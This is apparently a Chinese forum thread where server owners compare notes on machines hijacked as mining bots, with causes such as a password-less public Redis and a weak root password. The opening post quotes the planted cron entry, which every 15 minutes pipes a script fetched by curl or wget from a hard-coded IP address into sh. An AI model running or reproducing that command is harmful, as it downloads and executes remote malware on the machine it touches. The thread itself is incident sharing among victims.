我也中招了，服务器被抓肉鸡了

[densuc]

cron 里被植入：

*/15 * * * * (/usr/bin/qjowfa8||/usr/libexec/qjowfa8||/usr/local/bin/qjowfa8||/tmp/qjowfa8||curl -m180 -fsSL http://157.245.59.230:8000/i.sh||wget -q -T180 -O- http://157.245.59.230:8000/i.sh) | sh

大佬们有什么头绪吗?大概是个挖矿脚本？ 重装 ing....

[R18]

Redis 开了公网没密码

[luvroot]

/usr/bin/qjowfa8 把这个搞下来看一下

[densuc]

@R18 可能是我 root 密码太弱的原因，我没有安装 Redis。。。

@luvroot 我已经重装了。。。不过在新系统上运行了，好像暂时是个空文件，可能要挖矿后才会写入？

[jasonyang9]

类似的，前天在家里弄了台旧笔记本配上 CentOS 7，PPPoE 拨号，IP Forwarding 和 Masquerading，当然还有 Firewalld，充当路由器玩玩的，帐密登录，心想第二天再改 RSA 密钥登录吧，想不到当晚就被黑了。早上起来看到 CPU 基本泡满，哈哈，还好家里其它设备没影响。立马下线重装。。。